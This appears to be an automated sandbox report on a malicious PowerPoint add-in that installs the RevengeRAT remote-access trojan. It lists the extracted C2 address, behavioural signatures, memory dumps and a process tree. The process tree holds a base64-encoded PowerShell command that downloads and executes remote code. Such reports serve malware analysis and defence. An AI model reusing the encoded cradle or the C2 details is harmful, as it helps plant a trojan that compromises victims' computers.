Analysis
- max time kernel
142s - max time network
159s - platform
windows10-2004_x64 - resource
win10v2004-20240221-en - resource tags
- submitted
24/02/2024, 08:47
General
- Target reservas.ppam
- Size 16KB
- Sample240224-kpvvmseh84
- SHA256 b402239273ce6dbd40ac5087661d66176092a6f848fd521eea1ed2ad6012672c
Malware Config
Extracted
-
revengerat
-
NyanCatRevenge
-
brasil.ddns.com.br:333
-
5e241e476b334640a2f
Signatures
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
- RevengeRAT
Remote-access trojan with a wide range of capabilities.
- Blocklisted process makes network request 1 IoCs
- Suspicious use of SetThreadContext 1 IoCs
- Checks processor information in registry 2 TTPs 5 IoCs
Processor information is often read in order to detect sandboxing environments.
- Enumerates system info in registry 2 TTPs 3 IoCs
- Suspicious behavior: AddClipboardFormatListener 1 IoCs
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of FindShellTrayWindow 1 IoCs
- Suspicious use of SetWindowsHookEx 3 IoCs
- Suspicious use of WriteProcessMemory 10 IoCs
- Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
- Uses Volume Shadow Copy WMI provider
The Volume Shadow Copy service is used to manage backups/snapshots.
- Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE"C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE" "C:\Users\Admin\AppData\Local\Temp\reservas.ppam" /ou ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -e SQBFAFgAIAAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAuAEkAbgB2AG8AawBlACgAJwANAAoAaAB0AHQAcABzADoALwAvAGYAaQByAGUAYgBhAHMAZQBzAHQAbwByAGEAZwBlAC4AZwBvAG8AZwBsAGUAYQBwAGkAcwAuAGMAbwBtAC8AdgAwAC8AYgAvAG0AYQBzAHQAZQByAC0AMgA3ADEAYgA4AC4AYQBwAHAAcwBwAG8AdAAuAGMAbwBtAC8AbwAvAGMAbABpAGUAbgB0AHgAeAB4AHgAeAB4AHgAeAB4AC4AagBwAGcAPwBhAGwAdAA9AG0AZQBkAGkAYQAmAHQAbwBrAGUAbgA9AGQAMQA1ADQAZgBmADcAZAAtAGYAMgAyADYALQA0ADgAZAAwAC0AYQA5AGQANwAtADEAMgAwADAANwA2ADQAYwBhAGIANABlAA0ACgAnACkAOwAgAA0ACgByAGUARQBhAFoAYQBIAEIAYQBGAHAAZABSAFEAUQB0AHYASQBoAHoAYQBuAEEATABPAGIAYgBCAHAAVgBUAE8ARABRAGUAdwBXAEIATQBZAGMAQgBKAGkASQBTAHoASwBKAEkAeQB0AHYAcABSAEMASwB0AHUAWQBCAGgAbwBHAGkAQgBIAGEATABGAEEAUgBXAGsAVwANAAoA""2⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"3⤵
- Checks processor information in registry
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
__PSScriptPolicyTest_g0035ivw.t0a.ps1
memory/1232-61-0x0000016F65A00000-0x0000016F65A10000-memory.dmp
memory/1232-82-0x0000016F66080000-0x0000016F66098000-memory.dmp
memory/1232-75-0x0000016F66080000-0x0000016F66098000-memory.dmp
memory/1232-76-0x0000016F66080000-0x0000016F66098000-memory.dmp
memory/1232-78-0x0000016F66080000-0x0000016F66098000-memory.dmp
memory/1232-80-0x0000016F66080000-0x0000016F66098000-memory.dmp
memory/1232-86-0x0000016F66080000-0x0000016F66098000-memory.dmp
memory/1232-59-0x00007FFCB25E0000-0x00007FFCB30A1000-memory.dmp
memory/1232-84-0x0000016F66080000-0x0000016F66098000-memory.dmp
memory/1232-87-0x0000016F660A0000-0x0000016F660A1000-memory.dmp
memory/1232-62-0x0000016F65A00000-0x0000016F65A10000-memory.dmp
memory/1232-74-0x0000016F66080000-0x0000016F660A0000-memory.dmp
memory/1232-91-0x00007FFCB25E0000-0x00007FFCB30A1000-memory.dmp
memory/1232-60-0x0000016F65A00000-0x0000016F65A10000-memory.dmp
memory/1232-58-0x0000016F65CC0000-0x0000016F65CE2000-memory.dmp
memory/1788-92-0x0000000074CB0000-0x0000000075460000-memory.dmp
memory/1788-98-0x0000000004FA0000-0x0000000004FB0000-memory.dmp
memory/1788-88-0x0000000000400000-0x000000000040A000-memory.dmp
memory/1788-97-0x0000000074CB0000-0x0000000075460000-memory.dmp
memory/1788-93-0x00000000053D0000-0x0000000005974000-memory.dmp
memory/1788-94-0x0000000004FA0000-0x0000000004FB0000-memory.dmp
memory/1788-95-0x0000000005980000-0x0000000005A1C000-memory.dmp
memory/1788-96-0x0000000005320000-0x0000000005386000-memory.dmp
memory/2748-10-0x00007FFC9D240000-0x00007FFC9D250000-memory.dmp
memory/2748-73-0x00007FFCDF790000-0x00007FFCDF985000-memory.dmp
memory/2748-72-0x00007FFC9F810000-0x00007FFC9F820000-memory.dmp
memory/2748-71-0x00007FFC9F810000-0x00007FFC9F820000-memory.dmp
memory/2748-70-0x00007FFC9F810000-0x00007FFC9F820000-memory.dmp
memory/2748-69-0x00007FFC9F810000-0x00007FFC9F820000-memory.dmp
memory/2748-45-0x000002C484150000-0x000002C484950000-memory.dmp
memory/2748-44-0x00007FFCDF790000-0x00007FFCDF985000-memory.dmp
memory/2748-28-0x000002C484150000-0x000002C484950000-memory.dmp
memory/2748-0-0x00007FFC9F810000-0x00007FFC9F820000-memory.dmp
memory/2748-9-0x00007FFC9D240000-0x00007FFC9D250000-memory.dmp
memory/2748-8-0x00007FFCDF790000-0x00007FFCDF985000-memory.dmp
memory/2748-7-0x00007FFCDF790000-0x00007FFCDF985000-memory.dmp
memory/2748-6-0x00007FFC9F810000-0x00007FFC9F820000-memory.dmp
memory/2748-5-0x00007FFCDF790000-0x00007FFCDF985000-memory.dmp
memory/2748-3-0x00007FFC9F810000-0x00007FFC9F820000-memory.dmp
memory/2748-4-0x00007FFCDF790000-0x00007FFCDF985000-memory.dmp
memory/2748-2-0x00007FFC9F810000-0x00007FFC9F820000-memory.dmp
memory/2748-1-0x00007FFC9F810000-0x00007FFC9F820000-memory.dmp